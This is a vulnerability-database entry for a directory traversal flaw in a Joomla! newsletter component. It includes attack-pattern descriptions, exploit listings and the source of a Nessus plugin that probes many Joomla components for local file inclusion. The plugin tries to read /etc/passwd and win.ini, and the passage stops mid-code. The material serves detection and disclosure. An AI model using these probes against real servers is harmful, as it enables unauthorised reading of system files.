Vulnerabilities > CVE-2010-0467 - Path Traversal vulnerability in Chillcreations COM Ccnewsletter 1.0.5

CVSS 5.8 - MEDIUM

Attack vector

NETWORK

Attack complexity

LOW

Privileges required

NONE

Confidentiality impact

LOW

Integrity impact

NONE

Availability impact

NONE

network

low complexity

chillcreations

CWE-22

nessus

exploit available

NVD

Published: 2010-02-02

Updated: 2024-01-26

Summary

Directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php.

Vulnerable Configurations

Part	Description	Count
Application	Chillcreations Chillcreations COM Ccnewsletter 1.0.5	1
Application	Joomla Joomla Joomla! *	1

Common Weakness Enumeration (CWE)

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Common Attack Pattern Enumeration and Classification (CAPEC)

Relative Path Traversal
An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
Directory Traversal
An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
File System Function Injection, Content Based
An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
Manipulating Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

description	Joomla Component com_ccnewsletter Directory Traversal Vulnerability. CVE-2010-0467. Webapps exploit for php platform
file	exploits/php/webapps/11277.txt
id	EDB-ID:11277
last seen	2016-02-01
modified	2010-01-28
platform	php
port
published	2010-01-28
reporter	B-HUNT3\|2
source	https://www.exploit-db.com/download/11277/
title	Joomla Component com_ccnewsletter Directory Traversal Vulnerability
type	webapps

description	Joomla Component com_ccnewsletter LFI Vulnerability. CVE-2010-0467. Webapps exploit for php platform
file	exploits/php/webapps/11282.txt
id	EDB-ID:11282
last seen	2016-02-01
modified	2010-01-28
platform	php
port
published	2010-01-28
reporter	AtT4CKxT3rR0r1ST
source	https://www.exploit-db.com/download/11282/
title	Joomla Component com_ccnewsletter LFI Vulnerability
type	webapps

Nessus

NASL family	CGI abuses
NASL id	JOOMLA_COMPONENTS_CONTROLLER_LFI.NASL
description	The remote host contains a component for Joomla! or Mambo that fails to sanitize user-supplied input to multiple parameters in a GET request before using it to include PHP code. Regardless of the PHP
last seen	2020-06-01
modified	2020-06-02
plugin id	43636
published	2010-01-04
reporter	This script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
source	https://www.tenable.com/plugins/nessus/43636
title	Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities
code	# # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(43636); script_version("1.160"); script_cvs_date("Date: 2019/10/16 10:34:21"); script_cve_id( "CVE-2010-0157", "CVE-2010-0467", "CVE-2010-0676", "CVE-2010-0944", "CVE-2010-0972", "CVE-2010-1056", "CVE-2010-1081", "CVE-2010-1304", "CVE-2010-1305", "CVE-2010-1306", "CVE-2010-1308", "CVE-2010-1312", "CVE-2010-1314", "CVE-2010-1340", "CVE-2010-1345", "CVE-2010-1352", "CVE-2010-1354", "CVE-2010-1469", "CVE-2010-1470", "CVE-2010-1471", "CVE-2010-1472", "CVE-2010-1473", "CVE-2010-1474", "CVE-2010-1475", "CVE-2010-1478", "CVE-2010-1491", "CVE-2010-1494", "CVE-2010-1534", "CVE-2010-1602", "CVE-2010-1607", "CVE-2010-1653", "CVE-2010-1658", "CVE-2010-1714", "CVE-2010-1715", "CVE-2010-1717", "CVE-2010-1718", "CVE-2010-1719", "CVE-2010-1722", "CVE-2010-1723", "CVE-2010-1858", "CVE-2010-1875", "CVE-2010-1878", "CVE-2010-1952", "CVE-2010-1953", "CVE-2010-1954", "CVE-2010-1956", "CVE-2010-1979", "CVE-2010-1980", "CVE-2010-1981", "CVE-2010-2033", "CVE-2010-2034", "CVE-2010-2035", "CVE-2010-2036", "CVE-2010-2037", "CVE-2010-2050", "CVE-2010-2122", "CVE-2010-2507", "CVE-2010-3426", "CVE-2010-4977", "CVE-2011-4804" ); script_bugtraq_id( 37583, 37596, 37691, 37987, 38267, 38330, 38715, 38741, 38742, 38743, 38747, 38749, 38751, 38761, 38783, 38911, 38912, 38917, 39174, 39176, 39177, 39178, 39200, 39203, 39208, 39213, 39214, 39222, 39239, 39246, 39248, 39251, 39266, 39267, 39331, 39342, 39383, 39385, 39386, 39387, 39388, 39390, 39398, 39399, 39497, 39506, 39509, 39545, 39547, 39548, 39560, 39562, 39566, 39606, 39607, 39608, 39742, 39743, 40175, 40176, 40177, 40185, 40192, 40244, 40328, 40412, 40440, 40964, 41031, 41358, 42486, 43147, 43820, 46081, 48345, 48944, 56994 ); script_xref(name:"EDB-ID", value:"10928"); script_xref(name:"EDB-ID", value:"10943"); script_xref(name:"EDB-ID", value:"11088"); script_xref(name:"EDB-ID", value:"11277"); script_xref(name:"EDB-ID", value:"11282"); script_xref(name:"EDB-ID", value:"11707"); script_xref(name:"EDB-ID", value:"11738"); script_xref(name:"EDB-ID", value:"11740"); script_xref(name:"EDB-ID", value:"11743"); script_xref(name:"EDB-ID", value:"11756"); script_xref(name:"EDB-ID", value:"11758"); script_xref(name:"EDB-ID", value:"11759"); script_xref(name:"EDB-ID", value:"11760"); script_xref(name:"EDB-ID", value:"11785"); script_xref(name:"EDB-ID", value:"11851"); script_xref(name:"EDB-ID", value:"11853"); script_xref(name:"EDB-ID", value:"11996"); script_xref(name:"EDB-ID", value:"11997"); script_xref(name:"EDB-ID", value:"11998"); script_xref(name:"EDB-ID", value:"12058"); script_xref(name:"EDB-ID", value:"12065"); script_xref(name:"EDB-ID", value:"12066"); script_xref(name:"EDB-ID", value:"12067"); script_xref(name:"EDB-ID", value:"12069"); script_xref(name:"EDB-ID", value:"12077"); script_xref(name:"EDB-ID", value:"12084"); script_xref(name:"EDB-ID", value:"12085"); script_xref(name:"EDB-ID", value:"12086"); script_xref(name:"EDB-ID", value:"12087"); script_xref(name:"EDB-ID", value:"12088"); script_xref(name:"EDB-ID", value:"12101"); script_xref(name:"EDB-ID", value:"12102"); script_xref(name:"EDB-ID", value:"12111"); script_xref(name:"EDB-ID", value:"12113"); script_xref(name:"EDB-ID", value:"12142"); script_xref(name:"EDB-ID", value:"12145"); script_xref(name:"EDB-ID", value:"12146"); script_xref(name:"EDB-ID", value:"12147"); script_xref(name:"EDB-ID", value:"12149"); script_xref(name:"EDB-ID", value:"12151"); script_xref(name:"EDB-ID", value:"12166"); script_xref(name:"EDB-ID", value:"12167"); script_xref(name:"EDB-ID", value:"12168"); script_xref(name:"EDB-ID", value:"12169"); script_xref(name:"EDB-ID", value:"12170"); script_xref(name:"EDB-ID", value:"12171"); script_xref(name:"EDB-ID", value:"12172"); script_xref(name:"EDB-ID", value:"12173"); script_xref(name:"EDB-ID", value:"12174"); script_xref(name:"EDB-ID", value:"12175"); script_xref(name:"EDB-ID", value:"12176"); script_xref(name:"EDB-ID", value:"12177"); script_xref(name:"EDB-ID", value:"12178"); script_xref(name:"EDB-ID", value:"12180"); script_xref(name:"EDB-ID", value:"12181"); script_xref(name:"EDB-ID", value:"12182"); script_xref(name:"EDB-ID", value:"12230"); script_xref(name:"EDB-ID", value:"12233"); script_xref(name:"EDB-ID", value:"12239"); script_xref(name:"EDB-ID", value:"12282"); script_xref(name:"EDB-ID", value:"12283"); script_xref(name:"EDB-ID", value:"12285"); script_xref(name:"EDB-ID", value:"12287"); script_xref(name:"EDB-ID", value:"12288"); script_xref(name:"EDB-ID", value:"12289"); script_xref(name:"EDB-ID", value:"12290"); script_xref(name:"EDB-ID", value:"12291"); script_xref(name:"EDB-ID", value:"12316"); script_xref(name:"EDB-ID", value:"12317"); script_xref(name:"EDB-ID", value:"12318"); script_xref(name:"EDB-ID", value:"12427"); script_xref(name:"EDB-ID", value:"12430"); script_xref(name:"EDB-ID", value:"12611"); script_xref(name:"EDB-ID", value:"12618"); script_xref(name:"EDB-ID", value:"12769"); script_xref(name:"EDB-ID", value:"12814"); script_xref(name:"EDB-ID", value:"13924"); script_xref(name:"EDB-ID", value:"13981"); script_xref(name:"EDB-ID", value:"14656"); script_xref(name:"EDB-ID", value:"14964"); script_xref(name:"EDB-ID", value:"17411"); script_name(english:"Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities"); script_summary(english:"Attempts to read a local file."); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a PHP application that is affected by multiple local file include vulnerabilities."); script_set_attribute(attribute:"description", value: "The remote host contains a component for Joomla! or Mambo that fails to sanitize user-supplied input to multiple parameters in a GET request before using it to include PHP code. Regardless of the PHP 'register_globals' setting, an unauthenticated, remote attacker can exploit this issue to disclose arbitrary files or possibly execute arbitrary PHP code on the remote host, subject to the privileges of the web server user ID."); script_set_attribute(attribute:"solution", value: "Contact the vendor of each affected component to see if an upgrade is available or else disable it."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Joomla Component com_shoutbox LFI"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"exploited_by_malware", value:"true"); script_cwe_id(22); script_set_attribute(attribute:"vuln_publication_date", value:"2010/01/03"); script_set_attribute(attribute:"plugin_publication_date", value:"2010/01/04"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!"); script_set_attribute(attribute:"exploited_by_nessus", value:"true"); script_end_attributes(); script_category(ACT_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("mambo_detect.nasl", "joomla_detect.nasl", "os_fingerprint.nasl"); script_require_ports("Services/www", 80); script_require_keys("www/PHP"); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("webapp_func.inc"); port = get_http_port(default:80, php:TRUE); app = "Mambo / Joomla!"; # Generate a list of paths to check. mambo = get_dirs_from_kb(appname:'mambo_mos', port:port); if (isnull(mambo)) mambo = make_list(); joomla = make_list(); joomla_installs = get_installs( app_name : "Joomla!", port : port ); if (joomla_installs[0] == IF_OK) { foreach install (joomla_installs[1]) { dir = install['path']; joomla = make_list(dir, joomla); } } dirs = make_list(mambo, joomla); if (max_index(dirs) == 0) audit(AUDIT_WEB_APP_NOT_INST, app, port); # Vulnerable components. ncoms = 0; com = make_array(); pat = make_array(); # regexes so we're sure the component is installed. # - A Cool Debate (Bugtraq 48345 / EDB-ID 17411) com[ncoms] = "/index.php?option=com_acooldebate"; pat[ncoms] = 'class="mainDebateWrapper"'; ncoms++; # - AddressBook (Bugtraq 39398 / EDB-ID 12170) com[ncoms] = "/index.php?option=com_addressbook"; pat[ncoms] = 'Messege Could Not'; ncoms++; # - ArcadeGames (Bugtraq 39398 / EDB-ID 12168) com[ncoms] = "/index.php?option=com_arcadegames"; pat[ncoms] = '<iframe id="ArcadeGames"'; ncoms++; # - Archery Scores (Bugtraq 39545 / EDB-ID 12282) com[ncoms] = "/index.php?option=com_archeryscores"; pat[ncoms] = 'archeryscoresView'; ncoms++; # - AWDwall (Bugtraq 39331 / EDB-ID 12113) # untested but confirmed at <http://www.awdwall.com/index.php/awdwall-updates-logs->. com[ncoms] = "/index.php?option=com_awdwall"; pat[ncoms] = 'com_awdwall/views/awdwall/tmpl/'; ncoms++; # - aWiki (Bugtraq 39267 / EDB-ID 12101) com[ncoms] = "/index.php?option=com_awiki"; pat[ncoms] = "awikiView"; ncoms++; # - BeeHeard (Bugtraq 39506 / EDB-ID 12239) com[ncoms] = "/index.php?option=com_beeheard"; pat[ncoms] = 'beeheardView'; ncoms++; com[ncoms] = "/index.php?option=com_beeheardlite"; pat[ncoms] = 'beeheardliteView'; ncoms++; # - Bible Study (Bugtraq 37583) com[ncoms] = "/index.php?option=com_biblestudy&id=1&view=studieslist"; pat[ncoms] = "js/biblestudy\.js"; ncoms++; # - BCA-RSS-Syndicator (Bugtraq 39208) com[ncoms] = "/index.php?option=com_bca-rss-syndicator"; pat[ncoms] = '<generator>FeedCreator'; ncoms++; # - Boy Scout Adventure (Bugtraq 43820) com[ncoms] = "/index.php?option=com_bsadv"; pat[ncoms] = 'controller=scoutranks\|Scout Records'; ncoms++; # - Canteen (Bugtraq 41358) com[ncoms] = "/index.php?option=com_canteen"; pat[ncoms] = 'canteenView'; ncoms++; # - ccNewsletter (Bugtraq 37987 and Exploit DB 11282) # Fixed in 1.0.6 per http://www.chillcreations.com/en/blog/ccnewsletter-joomla-newsletter/ccnewsletter-106-security-release.html com[ncoms] = "/index.php?option=com_ccnewsletter&view=ccnewsletter"; pat[ncoms] = 'form action=.+ name="subscribeForm"'; ncoms++; com[ncoms] = "/index.php?option=com_ccnewsletter"; pat[ncoms] = 'form action=.+ name="subscribeForm"'; ncoms++; # - CKForms (Bugtraq 38783) com[ncoms] = "/index.php?option=com_ckforms"; pat[ncoms] = "com_ckforms/js/ui.datepicker.packed.js"; ncoms++; # - Community Polls (Bugtraq 38330) com[ncoms] = "/index.php?option=com_communitypolls"; pat[ncoms] = ""; ncoms++; # - CV Maker (Bugtraq 39398 / EDB-ID 12172) com[ncoms] = "/index.php?option=com_cvmaker"; pat[ncoms] = '<b>User Must Be Logged In</b>'; ncoms++; # - Daily Meals (Bugtraq 37596) com[ncoms] = "/index.php?option=com_dailymeals"; pat[ncoms] = '<div id="dailymeals">'; ncoms++; # - Datafeeds (Bugtraq 39246 / EDB-ID 12088) com[ncoms] = "/index.php?option=com_datafeeds"; pat[ncoms] = ''; ncoms++; # - Digital Diary (Bugtraq 39398 / EDB-ID 12178) com[ncoms] = "/index.php?option=com_diary"; pat[ncoms] = "value='Diary' />"; ncoms++; # - Draw Root Map (Bugtraq 39562 / EDB-ID 12289) com[ncoms] = "/index.php?option=com_drawroot"; pat[ncoms] = 'drawRoute\$\$'; ncoms++; # - Easy Ad Banner (EDB-ID 12171) com[ncoms] = "/index.php?option=com_advertising"; pat[ncoms] = ''; ncoms++; # - EContent (Bugtraq 39176) # # nb: we can only test based on PHP error messages. com[ncoms] = "/index.php?option=com_econtent"; pat[ncoms] = ""; ncoms++; # - Fabrik (Bugtraq 40328 / EDB-ID 12087) com[ncoms] = "/index.php?option=com_fabrik"; pat[ncoms] = "com_fabrik/libs/mootools-ext\.js"; ncoms++; # - FlashGames (Bugtraq 39398 / EDB-ID 12169) com[ncoms] = "/index.php?option=com_flashgames"; pat[ncoms] = 'Messege Could Not'; ncoms++; # - Frontend User Access (Bugtraq 46081) com[ncoms] = "/index.php?option=com_frontenduseraccess"; pat[ncoms] = 'you have no access to this page<br'; ncoms++; # - G2Bridge (Bugtraq 40440/ EDB-ID 12814) com[ncoms] = "/index.php?option=com_g2bridge"; pat[ncoms] = ''; ncoms++; # - Gadget Factory (Bugtraq 39547 / EDB-ID 12285) com[ncoms] = "/index.php?option=com_gadgetfactory"; pat[ncoms] = '"status":0,"message":"Wrong credentials"'; ncoms++; # - Gallery XML (Bugtraq 40964) com[ncoms] = "/index.php?option=com_galleryxml"; pat[ncoms] = 'galpic.+catpics.+gcatid'; ncoms++; # - GAnalytics (Bugtraq 38749) com[ncoms] = "/index.php?option=com_ganalytics"; pat[ncoms] = ''; ncoms++; # - GCalendar (Bugtraq 38742) com[ncoms] = "/index.php?option=com_gcalendar"; pat[ncoms] = '(gcalendar_powered\|There is no calendar specified.+Parameter Basic)'; ncoms++; # - Google Map (Bugtraq 39560 / EDB-ID 12290) com[ncoms] = "/index.php?option=com_google"; pat[ncoms] = '#google_map'; ncoms++; # - Graphics (BID 39743 / EDB-ID 12430) com[ncoms] = "/index.php?option=com_graphics"; pat[ncoms] = 'GraphicsControllerGraphics'; ncoms++; # - Highslide JS Configuration (Bugtraq 39239 / EDB-ID 12086) com[ncoms] = "/index.php?option=com_hsconfig"; pat[ncoms] = ''; ncoms++; # - Horoscope (Bugtraq 39398 / EDB-ID 12167) com[ncoms] = "/index.php?option=com_horoscope"; pat[ncoms] = 'Messege Could Not'; ncoms++; # - iF surfALERT (Bugtraq 39566 / EDB-ID 12291) com[ncoms] = "/index.php?option=com_if_surfalert"; pat[ncoms] = '<!-- SURF REPORT'; ncoms++; # - JCollection (Bugtraq 37691) com[ncoms] = "/index.php?option=com_jcollection"; pat[ncoms] = 'jcollectionView'; ncoms++; # - Jfeedback (Bugtraq 39390 / EDB-ID 12145) com[ncoms] = "/index.php?option=com_jfeedback"; pat[ncoms] = ''; ncoms++; # - JGrid (Bugtraq 42486 / EDB-ID 14656) com[ncoms] = "/index.php?option=com_jgrid"; pat[ncoms] = 'var jgrid_(columns\|store)'; ncoms++; # - JInventory (Bugtraq 39203) # untested but confirmed at <http://extensions.joomla.org/extensions/e-commerce/shopping-cart/7951>. com[ncoms] = "/index.php?option=com_jinventory"; pat[ncoms] = 'jinventoryView'; ncoms++; # - Joomla! Flickr (Bugtraq 39251 / EDB-ID 12085) com[ncoms] = "/index.php?option=com_joomlaflickr"; pat[ncoms] = 'joomlaflickrView'; ncoms++; # - Joomla! Picasa (Bugtraq 39200) com[ncoms] = "/index.php?option=com_joomlapicasa2"; pat[ncoms] = 'joomlapicasa2View'; ncoms++; # - JoomMail (Bugtraq 39398 / EDB-ID 12175) com[ncoms] = "/index.php?option=com_joommail"; pat[ncoms] = "<center><b>User must be logged in</b>"; ncoms++; # - jPhone (Bugtraq 43147 / EDB-ID 14964) com[ncoms] = "/index.php?option=com_jphone"; pat[ncoms] = '<h1>jPhone</h1>\|jQTouch'; ncoms++; # - JProject Manager (Bugtraq 39383 / EDB-ID 12146) com[ncoms] = "/index.php?option=com_jprojectmanager"; pat[ncoms] = ''; ncoms++; # - JResearch (Bugtraq 38917) com[ncoms] = "/index.php?option=com_jresearch"; pat[ncoms] = '(<title>Research Areas</title>\|css/jresearch_styles\\.css")'; ncoms++; # - Jukebox (Bugtraq 39248 / EDB-ID 12084) # nb: version 1.0 is definitely affected; 1.7 doesn't seem to be # although the advisory posted on Exploit DB claims otherwise. com[ncoms] = "/index.php?option=com_jukebox"; pat[ncoms] = '(com_jukebox/unitip/images\|class="jukeboxintro")'; ncoms++; # - Julia Portfolio (Bugtraq 38715) com[ncoms] = "/index.php?option=com_juliaportfolio"; pat[ncoms] = '<table class="portfolio">'; ncoms++; # - Jvehicles (Bugtraq 39177) com[ncoms] = "/index.php?option=com_jvehicles"; pat[ncoms] = 'com_jvehicles/includes/js/config\\.js'; ncoms++; # - Linkr (Bugtraq 38747) com[ncoms] = "/index.php?option=com_linkr"; pat[ncoms] = 'LinkrHelper=new LinkrAPI'; ncoms++; # - MediQnA (Bugtraq 40412 / EDB-ID 12769) com[ncoms] = "/index.php?option=com_mediqna"; pat[ncoms] = '(<h3>Question Sets\\.+</h3>\|Click .+view=listing">here</a> to view other sets)'; ncoms++; # - Memory Book (Bugtraq 39398 / EDB-ID 12176) com[ncoms] = "/index.php?option=com_memory"; pat[ncoms] = "value='viewAddMemoryPage'"; ncoms++; # - MMS Blog (Bugtraq 39607 / EDB-ID 12318) com[ncoms] = "/index.php?option=com_mmsblog"; pat[ncoms] = 'Powered by .+MMS Blog'; ncoms++; # - MS Comment (Bugtraq 40185 / EDB-ID 12611) com[ncoms] = "/index.php?option=com_mscomment"; pat[ncoms] = 'class="modifydate" onclick="hideComments\$'; ncoms++; # - MT Fire Eagle (Bugtraq 39509 / EDB-ID 12233) com[ncoms] = "/index.php?option=com_mtfireeagle"; pat[ncoms] = "mtfireeagleView"; ncoms++; # - Multiple Map (Bugtraq 39551 / EDB-ID 12289) com[ncoms] = "/index.php?option=com_multimap"; pat[ncoms] = 'GSmallMapControl\\(\$'; ncoms++; # - Multiple Root (Bugtraq 39552 / EDB-ID 12287) com[ncoms] = "/index.php?option=com_multiroot"; pat[ncoms] = 'function createMarker'; ncoms++; # - My Files (Bugtraq 39398 / EDB-ID 12173) com[ncoms] = "/index.php?option=com_myfiles"; pat[ncoms] = '<strong>No Files Uploaded</strong>'; ncoms++; # - Ninja RSS Syndicator (Exploit DB 11740) com[ncoms] = "/index.php?option=com_ninjarsssyndicator"; pat[ncoms] = '<generator>FeedCreator'; ncoms++; # - News Portal (BID 39222 / EDB-ID 12077) # untested but confirmed at <http://www.ijoomla.com/ijoomla-news-portal/ijoomla-news-portal/index/> (Changelog for version 1.5.9). com[ncoms] = "/index.php?option=com_news_portal"; pat[ncoms] = '(com_news_portal/news\\.css\|com_news_portal/helpers/news\\.css)'; ncoms++; # - NoticeBoard (BID 39742 / EDB-ID 12427) com[ncoms] = "/index.php?option=com_noticeboard"; pat[ncoms] = 'id="NoticeBoard'; ncoms++; # - obSuggest (BID 48944) com[ncoms] = "/index.php?option=com_obsuggest"; pat[ncoms] = ''; ncoms++; # - Online Exam (Bugtraq 39398 / EDB-ID 12174) com[ncoms] = "/index.php?option=com_onlineexam"; pat[ncoms] = '^USER MUST BE LOGGED IN'; ncoms++; # - Online Market (Bugtraq 39398 / EDB-ID 12177) com[ncoms] = "/index.php?option=com_market"; pat[ncoms] = '^Messege Could Not'; ncoms++; # - OrgChart (Bugtraq 39606 / EDB-ID 12317) com[ncoms] = "/index.php?option=com_orgchart"; pat[ncoms] = 'default view of the Org Chart component'; ncoms++; # - Percha Categories Tree (Bugtraq 40244) com[ncoms] = "/index.php?option=com_perchacategoriestree"; pat[ncoms] = ''; ncoms++; # - Percha Downloads Attach (Bugtraq 40244) com[ncoms] = "/index.php?option=com_perchadownloadsattach"; pat[ncoms] = 'perchadownloadsattachView'; ncoms++; # - Percha Fields Attach (Bugtraq 40244) com[ncoms] = "/index.php?option=com_perchafieldsattach"; pat[ncoms] = 'perchafieldsattachView'; ncoms++; # - Percha Gallery (Bugtraq 40244) com[ncoms] = "/index.php?option=com_perchagallery"; pat[ncoms] = 'perchagalleryView'; ncoms++; # - Percha Image Attach (Bugtraq 40244) com[ncoms] = "/index.php?option=com_perchaimageattach"; pat[ncoms] = 'perchaimageattachView'; ncoms++; # - Picasa2Gallery (Bugtraq 41031 / EDB-ID 13981) com[ncoms] = "/index.php?option=com_picasa2gallery"; pat[ncoms] = 'picasa2galleryView'; ncoms++; # - Preventive and Reservation (Bugtraq 39387 / EDB-ID 12147) com[ncoms] = "/index.php?option=com_preventive"; pat[ncoms] = '(Preventive and reservation creator\|name="arrival" id="publish_up1")'; ncoms++; # - Properties (Bugtraq 38912) com[ncoms] = "/index.php?option=com_properties"; pat[ncoms] = '(" content="Properties" />\|<div id="propiedades")'; ncoms++; # - Record (Bugtraq 39398 / EDB-ID 12181) com[ncoms] = "/index.php?option=com_record"; pat[ncoms] = '>500 - Layout "'; ncoms++; # - RokDownloads (Bugtraq 38741) com[ncoms] = "/index.php?option=com_rokdownloads"; pat[ncoms] = ''; ncoms++; # - RWCards (Bugtraq 38267) com[ncoms] = "/index.php?option=com_rwcards"; pat[ncoms] = 'rwcards\\.slideshow\\.css\|id="rwcardsTable"'; ncoms++; # - SectionEx (Bugtraq 38751) com[ncoms] = "/index.php?option=com_sectionex"; pat[ncoms] = 'sectionexView'; ncoms++; # - Shoutbox (Bugtraq 39213 / EDB-ID 12067) # untested but confirmed at <http://joomla.batjo.nl/news/23-security-release-shoutbox-archive-component..html>. com[ncoms] = "/index.php?option=com_shoutbox"; pat[ncoms] = '>Shoutbox Archive<'; ncoms++; # - SimpleDownload (Bugtraq 40192 / EDB-ID 12618) com[ncoms] = "/index.php?option=com_simpledownload"; pat[ncoms] = ''; ncoms++; # - SMEStorage (Bugtraq 38911) com[ncoms] = "/index.php?option=com_smestorage"; pat[ncoms] = '(css/smestorage\\.css\|div id="smestorage_div")'; ncoms++; # - spsNewsletter (Bugtraq 39388 / EDB-ID 12149) com[ncoms] = "/index.php?option=com_spsnewsletter"; pat[ncoms] = 'value="addSubscriber"'; ncoms++; # - SVMap (Bugtraq 39214) com[ncoms] = "/index.php?option=com_svmap"; pat[ncoms] = '(com_svmap/svmap\\.css\|svmap_canvas)'; ncoms++; # - Sweety Keeper (Bugtraq 39399 / EDB-ID 12182) com[ncoms] = "/index.php?option=com_sweetykeeper"; pat[ncoms] = '(<h1>Sweety Keeper Component</h1>\|views/sweetykeeper/)'; ncoms++; # - Travelbook (Bugtraq 39385 / EDB-ID 12151) com[ncoms] = "/index.php?option=com_travelbook"; pat[ncoms] = ''; ncoms++; # - TweetLA (Bugtraq 39386 / EDB-ID 12142) com[ncoms] = "/index.php?option=com_tweetla"; pat[ncoms] = ''; ncoms++; # - Ulti RPX (Bugtraq 38743) com[ncoms] = "/index.php?option=com_rpx"; pat[ncoms] = ''; ncoms++; # - User Status (BID 39174) # untested but confirmed at <http://extensions.joomla.org/extensions/communities-a-groupware/members-lists/11740>. com[ncoms] = "/index.php?option=com_userstatus"; pat[ncoms] = '(userstatus_detail\|com_userstatus/images)'; ncoms++; # - Vjdeo (Bugtraq 39266 / EDB-ID 12101) com[ncoms] = "/index.php?option=com_vjdeo"; pat[ncoms] = 'vjdeoView'; ncoms++; # - Webee Comment (Bugtraq 39342 / EDB-ID 12111) com[ncoms] = "/index.php?option=com_webeecomment"; pat[ncoms] = 'onclick="addComments\\('; ncoms++; # - webERPcustomer (BID 39178) # untested but confirmed at <http://extensions.joomla.org/extensions/bridges/crm-bridges/8754>. com[ncoms] = "/index.php?option=com_weberpcustomer"; pat[ncoms] = ''; ncoms++; # - WebTV (Bugtraq 39398 / EDB-ID 12166) com[ncoms] = "/index.php?option=com_webtv"; pat[ncoms] = '^Messege Could Not'; ncoms++; # - wgPicasa (Bugtraq 39497 / EDB-ID 12230) com[ncoms] = "/index.php?option=com_wgpicasa"; pat[ncoms] = 'wgpicasaView'; ncoms++; # - WMI (Web Merchant Interface) (Bugtraq 39608 / EDB-ID 12316) com[ncoms] = "/index.php?option=com_wmi"; pat[ncoms] = 'WebMoney Transfer'; ncoms++; # - World Rates (Bugtraq 39398 / EDB-ID 12180) com[ncoms] = "/index.php?option=com_worldrates"; pat[ncoms] = ">World's Currency Rates<"; ncoms++; # - ZiMB Comment (Bugtraq 39548 / EDB-ID 12283) com[ncoms] = "/index.php?option=com_zimbcomment"; pat[ncoms] = 'onclick="hideComments\\('; ncoms++; # - ZTAutolink (Bugtraq 56994) com[ncoms] = "/index.php?option=com_ztautolink"; pat[ncoms] = '<h1> </h1>'; ncoms++; # Try to retrieve a local file. os = get_kb_item("Host/OS"); if (os && report_paranoia < 2) { if ("Windows" >< os) files = make_list('/windows/win.ini','/winnt/win.ini'); else files = make_list('/etc/passwd'); } else files = make_list('/etc/passwd', '/windows/win.ini', '/winnt/win.ini', 'LICENSE.php'); file_pats = make_array(); file_pats['/etc/passwd'] = "root:.:0:[01]:"; file_pats['/winnt/win.ini'] = "^\[[a-zA-Z\s]+\]\|^; for 16-bit app support"; file_pats['/windows/win.ini'] = "^\[[a-zA-Z\s]+\]\|^; for 16-bit app support"; file_pats['LICENSE.php'] = "GNU GENERAL PUBLIC LICENSE"; # Loop through each directory. contents = ""; found_file = ""; info = ""; non_affect = make_list(); foreach dir (list_uniq(dirs)) { for (i=0; i<ncoms; i++) { foreach file (files) { # Once we find a file that works, stick with it for any subsequent tests. if (found_file && file != found_file) continue; # we can't test some components properly because execution errors # out if the required file doesn't result in a valid class. So # we'll fudge the filename and hope PHP displays errors. if ( "com_econtent" >< com[i] \|\| "com_perchadownloadsattach" >< com[i] \|\| "com_perchafieldsattach" >< com[i] \|\| "com_perchagallery" 